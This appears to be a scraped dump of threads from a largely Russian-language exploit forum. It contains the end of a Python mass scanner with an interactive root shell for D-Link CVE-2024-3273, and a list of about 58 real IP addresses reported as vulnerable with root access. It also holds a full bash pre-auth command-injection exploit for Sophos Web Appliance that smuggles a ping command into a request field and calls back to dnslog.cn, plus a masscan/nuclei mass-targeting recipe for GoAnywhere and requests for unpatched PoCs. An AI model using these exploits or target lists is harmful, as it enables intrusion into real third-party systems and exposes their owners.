                except KeyboardInterrupt:
                    self.custom_print("Exiting interactive shell...", "!")
                    break
        else:
            self.custom_print("System is not vulnerable or check failed.", "-")

    def check_urls_and_write_output(
        self, urls: List[str], max_workers: int, output_path: Optional[str]
    ) -> None:
        with ThreadPoolExecutor(max_workers=max_workers) as executor, alive_bar(
            len(urls), enrich_print=False
        ) as bar:
            futures = {executor.submit(self.check_single_url, url): url for url in urls}
            for future in as_completed(futures):
                result, is_vulnerable = future.result()
                if is_vulnerable:
                    self.custom_print(result, "+")
                    if output_path:
                        with open(output_path, "a") as file:
                            file.write(result)
                bar()


def main() -> None:
    parser: argparse.ArgumentParser = argparse.ArgumentParser()
    parser.add_argument(
        "-u", "--url", help="Base URL for single target", default=None
    )
    parser.add_argument(
        "-f", "--file", help="File containing list of URLs", default=None
    )
    parser.add_argument(
        "-t", "--threads", help="Number of threads to use", type=int, default=20
    )
    parser.add_argument(
        "-o", "--output", help="Output file to save results", default=None
    )

    args: argparse.Namespace = parser.parse_args()

    if args.url:
        dlink: DLink = DLink(args.url)
        dlink.interactive_shell()
    elif args.file:
        with open(args.file, "r") as f:
            urls: List[str] = f.read().splitlines()
            dlink = DLink()
            dlink.check_urls_and_write_output(urls, args.threads, args.output)
    else:
        parser.error(
            "No URL or file provided. Use -u to specify a single URL or -f to specify a file containing URLs."
        )


if __name__ == "__main__":
    main()

Spoiler: Vulns

https://95.31.10.75:443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://85.241.83.183:443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://78.194.4.148:443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://135.0.83.46:443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://78.192.60.76:443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://212.204.182.58:443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://62.197.213.36:8443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://60.52.29.209:443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://109.196.197.99:443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://85.243.192.126:443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://118.200.94.154:443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://82.64.76.18:443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://86.175.205.127:443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://94.224.57.54:443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://45.170.153.243:443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://87.102.103.232:443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://175.139.28.222:443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://82.0.36.192:443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://1.20.164.205:443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://5.71.195.114:443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://95.79.221.53:443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://114.32.179.223:443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://99.240.218.159:443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://77.103.182.161:443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://79.117.59.190:443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://194.31.37.158:443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://38.50.36.26:80 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://31.46.48.177:443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://216.180.65.220:443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://93.21.176.14:443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://185.166.210.148:443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://62.74.84.65:443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://188.73.151.89:443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://98.177.130.150:443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://188.142.194.107:443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://154.126.209.145:443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://82.65.188.168:80 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://109.190.83.247:443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://77.100.12.161:443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://96.51.169.216:443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://81.103.154.68:443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://141.134.19.98:443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://78.198.143.78:8443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://200.105.58.249:8080 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://109.68.186.132:443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://24.76.188.94:443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://68.149.101.200:443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://177.5.250.128:443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://5.71.195.114:80 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://86.28.250.88:443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://81.0.27.84:443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://109.213.8.45:444 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://206.248.137.205:443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://85.95.167.211:443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://5.71.195.114:3128 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://82.65.5.115:443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://89.135.129.61:443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)
https://219.85.59.251:443 is vulnerable to CVE-2024-3273: uid=0(root) gid=0(root)

source

Certifried: CVE-2022–26923 Abusing Active Directory Certificate Services
ID: 67686ba3b4103b69df379b71
Thread ID: 71570
Created: 2022-08-12T16:53:31+0000
Last Post: 2024-04-02T06:56:12+0000
Author: IIIIXX
Prefix: Remote
Replies: 11 Views: 2K

Уязвимость в ADCS
https://nvd.nist.gov/vuln/detail/CVE-2022-26923
8.8/10

Гитхаб:

Code:Copy to clipboard

https://github.com/LudovicPatho/CVE-2022-26923_AD-Certificate-Services
https://github.com/aniqfakhrul/certifried.py
https://github.com/ly4k/Certipy

Альтернативные методы, в некоторых используется устаревший синтаксис:

Code:Copy to clipboard

https://tryhackme.com/room/cve202226923
https://systemweakness.com/exploiting-cve-2022-26923-by-abusing-active-directory-certificate-services-adcs-a511023e5366
https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4
SonicWall SSL-VPN Exploit
ID: 67686ba3b4103b69df379bb6
Thread ID: 47204
Created: 2021-01-25T22:10:42+0000
Last Post: 2023-07-14T12:51:16+0000
Author: caxmd
Prefix: Web
Replies: 4 Views: 2K

github.com

[ GitHub - darrenmartyn/VisualDoor: SonicWall SSL-VPN Exploit

](https://github.com/darrenmartyn/visualdoor)

SonicWall SSL-VPN Exploit. Contribute to darrenmartyn/VisualDoor development by creating an account on GitHub.

github.com github.com

ищу експлоит под CVE-2022-29248
ID: 67686ba3b4103b69df379bce
Thread ID: 82715
Created: 2023-02-25T18:52:15+0000
Last Post: 2023-05-30T19:56:14+0000
Author: Gufi
Prefix: Web
Replies: 1 Views: 2K

ищу екплоит под увязвимость CVE-2022-29248 , скорее всего на таргете стоит php mailer

вот репорт:

Code:Copy to clipboard

Package: phpmailer/phpmailer
Version: 6.3.0
CVE: CVE-2020-36326
Title: Deserialization of Untrusted Data
Description: PHPMailer 6.1.8 through 6.4.0 allows object injection through Phar
Deserialization via addAttachment with a UNC pathname. NOTE: this is similar to CVE 2018-19296, but arose because 6.1.8 fixed a functionality problem in which UNC pathnames
were always considered unreadable by PHPMailer, even in safe contexts. As an unintended
side effect, this fix eliminated the code that blocked addAttachment exploitation.
CVSS V2: AV:N/AC:L/Au:N/C:P/I:P/A:P
CVSS V3: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-502
Pre-auth command injection, Sophos Web Appliance, CVE-2023-1671
ID: 67686ba3b4103b69df379bd5
Thread ID: 87561
Created: 2023-05-09T01:42:35+0000
Last Post: 2023-05-14T18:51:03+0000
Author: Sec13B
Prefix: Web
Replies: 3 Views: 2K

Remote , CVE-2023-1671

Bash:Copy to clipboard

#!/bin/bash 
# Exploit Title: Sophos Web Appliance 4.3.10.4 - Pre-auth command injection
# Exploit Author: Behnam Abasi Vanda
# Vendor Homepage: https://www.sophos.com
# Version:  Sophos Web Appliance older than version 4.3.10.4
# Tested on: Ubuntu
# CVE : CVE-2023-1671
# Shodan Dork: title:"Sophos Web Appliance"
# Reference : https://www.sophos.com/en-us/security-advisories/sophos-sa-20230404-swa-rce
# Reference : https://vulncheck.com/blog/cve-2023-1671-analysis



TARGET_LIST="$1"

# =====================
BOLD="\033[1m"
RED="\e[1;31m"
GREEN="\e[1;32m"
YELLOW="\e[1;33m"
BLUE="\e[1;34m"
NOR="\e[0m"
# ====================


get_new_subdomain()
{
cat  MN.txt | grep 'YES' >/dev/null;ch=$?
           if [ $ch -eq 0 ];then
        echo -e "    [+] Trying to get Subdomain $NOR"
       rm -rf cookie.txt
      sub=`curl -i -c cookie.txt -s -k -X $'GET' \
          -H $'Host: www.dnslog.cn' -H $'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/112.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Referer: http://www.dnslog.cn/' \
        $'http://www.dnslog.cn/getdomain.php?t=0' | grep dnslog.cn` 
             echo -e "    [+]$BOLD$GREEN Subdomain : $sub $NOR"
         fi
}

check_vuln()
{
curl -k --trace-ascii % "https://$1/index.php?c=blocked&action=continue" -d "args_reason=filetypewarn&url=$RANDOM&filetype=$RANDOM&user=$RANDOM&user_encoded=$(echo -n "';ping $sub -c 3 #" | base64)"

req=`curl -i -s -k -b cookie.txt -X $'GET' \
    -H $'Host: www.dnslog.cn' -H $'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/112.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Referer: http://www.dnslog.cn/' \
       $'http://www.dnslog.cn/getrecords.php?t=0'`
       
echo "$req"  | grep 'dnslog.cn' >/dev/null;ch=$?
           if [ $ch -eq 0 ];then
               echo "YES" > MN.txt
        echo -e "    [+]$BOLD $RED https://$1 Vulnerable :D $NOR"
        echo "https://$1" >> vulnerable.lst            
            else 
               echo -e "    [-] https://$1 Not Vulnerable :| $NOR"
             echo "NO" > MN.txt
       fi
}

echo '

 ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ██████╗        ██╗ ██████╗███████╗
██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗╚════██╗      ███║██╔════╝╚════██║
██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗╚██║███████╗    ██╔╝
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝  ╚═══██╗╚════╝ ██║██╔═══██╗  ██╔╝ 
╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗██████╔╝       ██║╚██████╔╝  ██║  
 ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝╚═════╝        ╚═╝ ╚═════╝   ╚═╝  
                                                                                        
██████╗ ██╗   ██╗    ██████╗ ███████╗██╗  ██╗███╗   ██╗ █████╗ ███╗   ███╗       ██╗    
██╔══██╗╚██╗ ██╔╝    ██╔══██╗██╔════╝██║  ██║████╗  ██║██╔══██╗████╗ ████║    ██╗╚██╗   
██████╔╝ ╚████╔╝     ██████╔╝█████╗  ███████║██╔██╗ ██║███████║██╔████╔██║    ╚═╝ ██║   
██╔══██╗  ╚██╔╝      ██╔══██╗██╔══╝  ██╔══██║██║╚██╗██║██╔══██║██║╚██╔╝██║    ▄█╗ ██║   
██████╔╝   ██║       ██████╔╝███████╗██║  ██║██║ ╚████║██║  ██║██║ ╚═╝ ██║    ▀═╝██╔╝   
╚═════╝    ╚═╝       ╚═════╝ ╚══════╝╚═╝  ╚═╝╚═╝  ╚═══╝╚═╝  ╚═╝╚═╝     ╚═╝       ╚═╝    
                                                                                       
                                                                                        '
if test "$#" -ne 1; then
    echo       "   ----------------------------------------------------------------"
    echo "    [!] please give the target list file : bash CVE-2023-1671.sh targets.txt "
    echo       "   ---------------------------------------------------------------"
    exit
fi



rm -rf cookie.txt
echo "YES" > MN.txt
for target in `cat $TARGET_LIST`
do

get_new_subdomain;
echo "    [~] Checking $target"
    check_vuln "$target"
done
rm -rf MN.txt
rm -rf cookie.txt
PaperCut MF/NG CVE-2023-27350 and CVE-2023-27351
ID: 67686ba3b4103b69df379bd6
Thread ID: 86759
Created: 2023-04-27T06:52:50+0000
Last Post: 2023-05-02T11:22:16+0000
Author: Zodiac
Prefix: Remote
Replies: 2 Views: 2K

На Shodan я вижу около 1457 записей.

URL: https://github.com/horizon3ai/CVE-2023-27350

Я вижу, что многие говорят, что CVE-2023-27350 и CVE-2023-27351 связаны между собой. Но я не уверен, работает ли код на обоих. кто-нибудь проверял?

shodan search - http.favicon.hash:-1142586156

OpenSSH 9.1 exploit and mass scan
ID: 67686ba3b4103b69df379be1
Thread ID: 85924
Created: 2023-04-14T16:15:03+0000
Last Post: 2023-04-14T19:14:56+0000
Author: Twitch
Replies: 1 Views: 2K

Уязвимость CVE-2023-25136 влияет на процесс предварительной аутентификации SSH. Используя его, атакующий может повредить память и выполнить произвольный код на машине без аутентификации на целевом сервере.

github.com

[ GitHub - Christbowel/CVE-2023-25136: OpenSSH 9.1 vulnerability mass

scan and exploit ](https://github.com/Christbowel/CVE-2023-25136)

OpenSSH 9.1 vulnerability mass scan and exploit. Contribute to Christbowel/CVE-2023-25136 development by creating an account on GitHub.

github.com github.com

#ssh #exploit #scanner

CVE-2023-21839 Oracle WebLogic RCE
ID: 67686ba3b4103b69df379be5
Thread ID: 83281
Created: 2023-03-06T10:42:45+0000
Last Post: 2023-04-11T02:27:16+0000
Author: FromHell
Prefix: Remote
Replies: 2 Views: 2K
[CVE-2023-0669] GoAnywhere Vulnerability (command injection)
ID: 67686ba3b4103b69df379be8
Thread ID: 84235
Created: 2023-03-21T14:54:22+0000
Last Post: 2023-03-28T22:42:54+0000
Author: Prokhorenco
Replies: 4 Views: 2K

I've been reading about cl0p group exploiting GoAnywhere (CVE-2023-0669) and having great success exfiltrating data.

Scanning (ports may vary):
1. masscan -p8001,8000 -Pn -sS -iL ranges.txt -oL results --rate 10000 --excludefile block.txt
2. Filter IPs: grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" results > results_list
3. Append port to IP for vuln scan: sed -i 's/$/:8001/' results_list
4. nuclei -l results_list -t [nuclei- templates/cves/2023/CVE-2023-0669.yaml](https://github.com/projectdiscovery/nuclei- templates/blob/main/cves/2023/CVE-2023-0669.yaml)

References:
[1] https://www.rapid7.com/db/modules/exploit/multi/http/fortra_goanywhere_rce_cve_2023_0669/ (msf exploit)
[2] <https://www.rapid7.com/db/vulnerabilities/goanywhere- cve-2023-0669-remote-code-injection/>
[3] <https://www.rapid7.com/blog/post/2023/02/03/exploitation-of-goanywhere- mft-zero-day-vulnerability/>

News:
[1] [https://www.malwarebytes.com/blog/n...mware-is-victimizing-goanywhere- mft-customers](https://www.malwarebytes.com/blog/news/2023/03/clop-ransomware- is-victimizing-goanywhere-mft-customers)
[2] [https://www.securityweek.com/hitach...n-zero-day-as-ransomware-gang- threatens-firm/](https://www.securityweek.com/hitachi-energy-blames-data- breach-on-zero-day-as-ransomware-gang-threatens-firm/)
[3] https://www.bleepingcomputer[.]com/...-breached-130-orgs-using-goanywhere- zero-day/

CVE-2023-24880
ID: 67686ba3b4103b69df379bec
Thread ID: 83927
Created: 2023-03-16T16:37:10+0000
Last Post: 2023-03-16T22:20:11+0000
Author: kosok11
Replies: 7 Views: 2K

Поделитесь PoC, пока еще не все винду обновили :D

RCE, Microsoft Word, CVE-2023-21716
ID: 67686ba3b4103b69df379bed
Thread ID: 83320
Created: 2023-03-06T20:22:30+0000
Last Post: 2023-03-06T20:22:30+0000
Author: weaver
Prefix: Local
Replies: 0 Views: 2K

---
layout: post
title: "Microsoft Word RTF Font Table Heap Corruption"
date: 2022-11-20 23:13:37
author: jduck
category: advisories
tags: [ windows, office, word, rtf, bof ]
---

A vulnerability within Microsoft Office's wwlib allows attackers to achieve
remote code execution with the privileges of the victim that opens a malicious
RTF document. The attacker could deliver this file as an email attachment (or
other means).

Background

Microsoft Word is the word processing application included with Microsoft
Office. Per a default installation, Microsoft Word handles Rich-Text Format
(RTF) documents. Such documents are comprised of primarily 7-bit ASCII based
keywords that together can encapsulate a wide variety of rich content.

Vulnerability Details

The RTF parser in Microsoft Word contains a heap corruption vulnerability when
dealing with a font table (\fonttbl) containing an excessive number of fonts
(\f###). When processing fonts, the font id value (the numbers after a \f)
are handled by the following code:

Code:Copy to clipboard

0d6cf0b6 0fbf0e          movsx   ecx,word ptr [esi]         ; load base idx
0d6cf0b9 0fbf5602        movsx   edx,word ptr [esi+2]       ; load font idx
0d6cf0bd 8d1451          lea     edx,[ecx+edx*2]            ; multiply by ~3
0d6cf0c0 668b08          mov     cx,word ptr [eax]          ; load the codepage value
0d6cf0c3 66894c5604      mov     word ptr [esi+edx*2+4],cx  ; write the code page

As shown, the font ID value is loaded by the "movsx" instruction at 0xd6cf0c3.
This instruction sign extends the value loaded, thus filling the upper bits of
edx with ffff. The following debugger excerpt illustrates the runtime
behavior:

Code:Copy to clipboard

*** edx will become: 0x17fc8 (from 0x7fec+0x7fee*2)
*** edx will become: 0x17fc9 (from 0x7fed+0x7fee*2)
*** edx will become: 0x17fde (from 0x7fee+0x7ff8*2)
*** edx will become: 0x17fdf (from 0x7fef+0x7ff8*2)
*** edx will become: 0x17fe0 (from 0x7ff0+0x7ff8*2)
*** edx will become: 0x17fe1 (from 0x7ff1+0x7ff8*2)
*** edx will become: 0x17fe2 (from 0x7ff2+0x7ff8*2)
*** edx will become: 0x17fe3 (from 0x7ff3+0x7ff8*2)
*** edx will become: 0x17fe4 (from 0x7ff4+0x7ff8*2)
*** edx will become: 0x17fe5 (from 0x7ff5+0x7ff8*2)
*** edx will become: 0x17fe6 (from 0x7ff6+0x7ff8*2)
*** edx will become: 0x17fe7 (from 0x7ff7+0x7ff8*2)
*** edx will become: 0xffff7ffc (from 0x7ff8+0xffff8002*2)

When this occurs, the memory write instruction at 0xd6cf0c3 corrupts the heap
by writing the font code page to a negative offset of the memory held in esi.
The following debugger excerpt shows the out-of-bounds memory write.

Code:Copy to clipboard

*** writing 0x4e4 to 0xd35ddb4 [0xd32de20+0x17fc8*2+4]
*** writing 0x4e4 to 0xd35ddb6 [0xd32de20+0x17fc9*2+4]
*** writing 0x4e4 to 0xd35dde0 [0xd32de20+0x17fde*2+4]
*** writing 0x4e4 to 0xd35dde2 [0xd32de20+0x17fdf*2+4]
*** writing 0x4e4 to 0xd35dde4 [0xd32de20+0x17fe0*2+4]
*** writing 0x4e4 to 0xd35dde6 [0xd32de20+0x17fe1*2+4]
*** writing 0x4e4 to 0xd35dde8 [0xd32de20+0x17fe2*2+4]
*** writing 0x4e4 to 0xd35ddea [0xd32de20+0x17fe3*2+4]
*** writing 0x4e4 to 0xd35ddec [0xd32de20+0x17fe4*2+4]
*** writing 0x4e4 to 0xd35ddee [0xd32de20+0x17fe5*2+4]
*** writing 0x4e4 to 0xd35ddf0 [0xd32de20+0x17fe6*2+4]
*** writing 0x4e4 to 0xd35ddf2 [0xd32de20+0x17fe7*2+4]
*** writing 0x4e4 to 0xd31de1c [0xd32de20+0xffff7ffc*2+4]

Following this memory corruption, additional processing takes place. With a
properly crafted heap layout, an attacker cause the heap corruption to yield
arbitrary code execution.

Using the proof-of-concept code supplied below, processing eventually reaches
the post-processing clean up code. As expected, RtlFreeHeap is called and
detects heap corruption as shown below.

Code:Copy to clipboard

Critical error detected c0000374
(3ba8.21f4): WOW64 breakpoint - code 4000001f (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
ntdll_77a40000!RtlReportCriticalFailure+0x4b:
77b27012 cc              int     3
0:000:x86> kv
 # ChildEBP RetAddr  Args to Child             
00 008f3834 77b30114 00000001 77b63990 77b2e009 ntdll_77a40000!RtlReportCriticalFailure+0x4b (FPO: [Non-Fpo])
01 008f3840 77b2e009 70dcf286 00000000 1ff78c20 ntdll_77a40000!RtlpReportHeapFailure+0x2f (FPO: [0,0,4])
02 008f3870 77b36480 00000003 00a50000 1ff78c20 ntdll_77a40000!RtlpHpHeapHandleError+0x89 (FPO: [Non-Fpo])
03 008f3888 77b2dd17 1ff78c20 0000000a 00000000 ntdll_77a40000!RtlpLogHeapFailure+0x43 (FPO: [Non-Fpo])
04 008f38ec 77a83f8d 00a50258 70dcf0be 1ff78c20 ntdll_77a40000!RtlpAnalyzeHeapFailure+0x281 (FPO: [Non-Fpo])
05 008f3a48 77ac7b9d 1ff78c20 1ff78c28 1ff78c28 ntdll_77a40000!RtlpFreeHeap+0x24d (FPO: [Non-Fpo])
06 008f3aa4 77a83ce6 00000000 00000000 00000000 ntdll_77a40000!RtlpFreeHeapInternal+0x783 (FPO: [Non-Fpo])
07 008f3ac4 05343c06 00a50000 00000000 1ff78c28 ntdll_77a40000!RtlFreeHeap+0x46 (FPO: [Non-Fpo])
08 008f3adc 06e6e330 1ff78c28 06c8dc6d 08a11040 mso20win32client!Mso::Memory::Free+0x47 (FPO: [Non-Fpo])
09 008f3b0c 0430b5af 08a1104c 08a11040 08a11044 mso!MsoFreePpv+0x84 (FPO: [Non-Fpo])
0a 008f3b28 0430bed0 008f9f0c 008f586c ffffffff wwlib!FreeHribl+0x8c (FPO: [Non-Fpo])
0b 008f3b70 033be323 40280000 00200002 1a772b98 wwlib!PdodCreateRtf+0x243 (FPO: [6,13,4])
0c 008f52bc 02e465db 04012000 20280000 00200002 wwlib!``Osf::SimpleFlight::Details::SetupFlight_String'::`3'::<lambda_1>::operator()'::`2'::`dynamic atexit destructor for 'scopes''+0x1e0966
0d 008f5600 03031155 00000000 ffffffff 00000000 wwlib!PdodCreatePfnCore+0x321 (FPO: [Non-Fpo])
0e 008f5680 0301583a 00000000 ffffffff 00000000 wwlib!PdodCreatePfnBPPaapWithEdpi+0x75 (FPO: [18,3,4])
0f 008f8c4c 030175d4 04012000 00000000 00000002 wwlib!PdodOpenFnmCore2+0xf3b (FPO: [Non-Fpo])
10 008f8d14 03c43d9b 04012000 00000000 00000002 wwlib!PdodOpenFnmCore+0xb9 (FPO: [15,30,0])
11 008f9e40 03c43a92 00000000 00000000 00000002 wwlib!FFileOpenXszCore+0x2f6 (FPO: [Non-Fpo])
12 008f9e7c 0343bd43 00000000 00000000 00000002 wwlib!FFileOpenXstzCore+0x3d (FPO: [6,4,0])
13 008fb31c 02d17666 00000001 00000000 02d17609 wwlib!``Osf::SimpleFlight::Details::SetupFlight_String'::`3'::<lambda_1>::operator()'::`2'::`dynamic atexit destructor for 'scopes''+0x271a8e
14 008fb554 02c594f5 71fc93df 7625f550 0000000a wwlib!Boot::IfrParseCommandLine2+0x5d (FPO: [Non-Fpo])
15 008fb5c8 02c59317 008fb5f8 02c50000 02c58ff4 wwlib!Boot::FRun+0xb4 (FPO: [Non-Fpo])
16 008ff684 02c59058 96c6d88c 000800e4 71fcd0a7 wwlib!FWordBoot+0x5a (FPO: [Non-Fpo])
17 008ff6b8 00dd1917 00dd0000 00000000 0000000a wwlib!FMain+0x64 (FPO: [Non-Fpo])
18 008ff908 00dd114a 00dd0000 00000000 00a54944 winword!WinMain+0x146 (FPO: [Non-Fpo])
19 008ff954 7625fa29 0069a000 7625fa10 008ff9c0 winword!std::_Deallocate<8,0>+0x1e3 (FPO: [Non-Fpo])
1a 008ff964 77aa7bbe 0069a000 70dc3336 00000000 KERNEL32!BaseThreadInitThunk+0x19 (FPO: [Non-Fpo])
1b 008ff9c0 77aa7b8e ffffffff 77ac8d0f 00000000 ntdll_77a40000!__RtlUserThreadStart+0x2f (FPO: [SEH])
1c 008ff9d0 00000000 00dd1000 0069a000 00000000 ntdll_77a40000!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])

Analysts can also use Page Heap to verify that the code attempts to write out
of bounds. Doing so results in the following:

Code:Copy to clipboard

(afe8.9a5c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
wwlib!FSearchFtcmap+0x150:
0dc1f0c3 66894c5604      mov     word ptr [esi+edx*2+4],cx ds:002b:1ebf2fec=????
0:000:x86> kv
 # ChildEBP RetAddr  Args to Child             
00 0135135c 0dc0fa17 013513ec 00000001 013513d8 wwlib!FSearchFtcmap+0x150 (FPO: [Non-Fpo])
01 01353828 0dc0ddb5 ddc5a2cb 0b3d3028 000ad400 wwlib!RtfInRare+0x1845 (FPO: [Non-Fpo])
02 01353c5c 0ef5c473 00000200 0b3d3028 66565a58 wwlib!CchRtfInCore+0x28df (FPO: [Non-Fpo])
03 01353eac 0ef5be04 0b3d302c 0135a294 01355bf4 wwlib!RtfGetChars+0x183 (FPO: [Non-Fpo])
04 01353ef8 0e00e323 40280000 00200002 45646f10 wwlib!PdodCreateRtf+0x177 (FPO: [6,13,4])
05 01355644 0da965db 04012000 20280000 00200002 wwlib!``Osf::SimpleFlight::Details::SetupFlight_String'::`3'::<lambda_1>::operator()'::`2'::`dynamic atexit destructor for 'scopes''+0x1e0966
06 01355988 0dc81155 00000000 ffffffff 00000000 wwlib!PdodCreatePfnCore+0x321 (FPO: [Non-Fpo])
07 01355a08 0dc6583a 00000000 ffffffff 00000000 wwlib!PdodCreatePfnBPPaapWithEdpi+0x75 (FPO: [18,3,4])
08 01358fd4 0dc675d4 04012000 00000000 00000002 wwlib!PdodOpenFnmCore2+0xf3b (FPO: [Non-Fpo])
09 0135909c 0e893d9b 04012000 00000000 00000002 wwlib!PdodOpenFnmCore+0xb9 (FPO: [15,30,0])
0a 0135a1c8 0e893a92 00000000 00000000 00000002 wwlib!FFileOpenXszCore+0x2f6 (FPO: [Non-Fpo])
0b 0135a204 0e08bd43 00000000 00000000 00000002 wwlib!FFileOpenXstzCore+0x3d (FPO: [6,4,0])
0c 0135b6a4 0d967666 00000001 00000000 0d967609 wwlib!``Osf::SimpleFlight::Details::SetupFlight_String'::`3'::<lambda_1>::operator()'::`2'::`dynamic atexit destructor for 'scopes''+0x271a8e
0d 0135b8dc 0d8a94f5 ddc527df 7625f550 0000000a wwlib!Boot::IfrParseCommandLine2+0x5d (FPO: [Non-Fpo])
0e 0135b954 0d8a9317 0135b984 0d8a0000 0d8a8ff4 wwlib!Boot::FRun+0xb4 (FPO: [Non-Fpo])
0f 0135fa10 0d8a9058 cbd5c9e4 00080138 ddc564d3 wwlib!FWordBoot+0x5a (FPO: [Non-Fpo])
10 0135fa44 00dd1917 00dd0000 00000000 0000000a wwlib!FMain+0x64 (FPO: [Non-Fpo])
11 0135fc94 00dd114a 00dd0000 00000000 05e18ff4 winword!WinMain+0x146 (FPO: [Non-Fpo])
12 0135fce0 7625fa29 011cf000 7625fa10 0135fd4c winword!std::_Deallocate<8,0>+0x1e3 (FPO: [Non-Fpo])
13 0135fcf0 77aa7bbe 011cf000 96082e8a 00000000 KERNEL32!BaseThreadInitThunk+0x19 (FPO: [Non-Fpo])
14 0135fd4c 77aa7b8e ffffffff 77ac8d34 00000000 ntdll_77a40000!__RtlUserThreadStart+0x2f (FPO: [SEH])
15 0135fd5c 00000000 00dd1000 011cf000 00000000 ntdll_77a40000!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])

Affected Versions

This vulnerability affects at least the following versions of Microsoft Office:

  • Microsoft Office 365 (Insider Preview - 2211 Build 15831.20122 CTR)
  • Microsoft Office 2016 (Including Insider Slow - 1704 Build 8067.2032 CTR)
  • Microsoft Office 2013
  • Microsoft Office 2010
  • Microsoft Office 2007

Older versions may also be affected but were not tested. Furthermore, the
technical details of this vulnerability have evolved over the years.

Mitigations

Microsoft Office 2010 and later use Protected View to limit damage caused by
malicious documents procured from untrusted sources. Protected View is
in effect when this vulnerability manifests and thus an additional sandbox
escape vulnerability would be required to gain full privileges.

Removing the file association for the RTF extension is ineffective because
using a DOC extension will still reach the vulnerable code.

Acknowledgement

This issue was discovered, analyzed, and reported by Joshua J. Drake (@jduck).

Proof-of-Concept

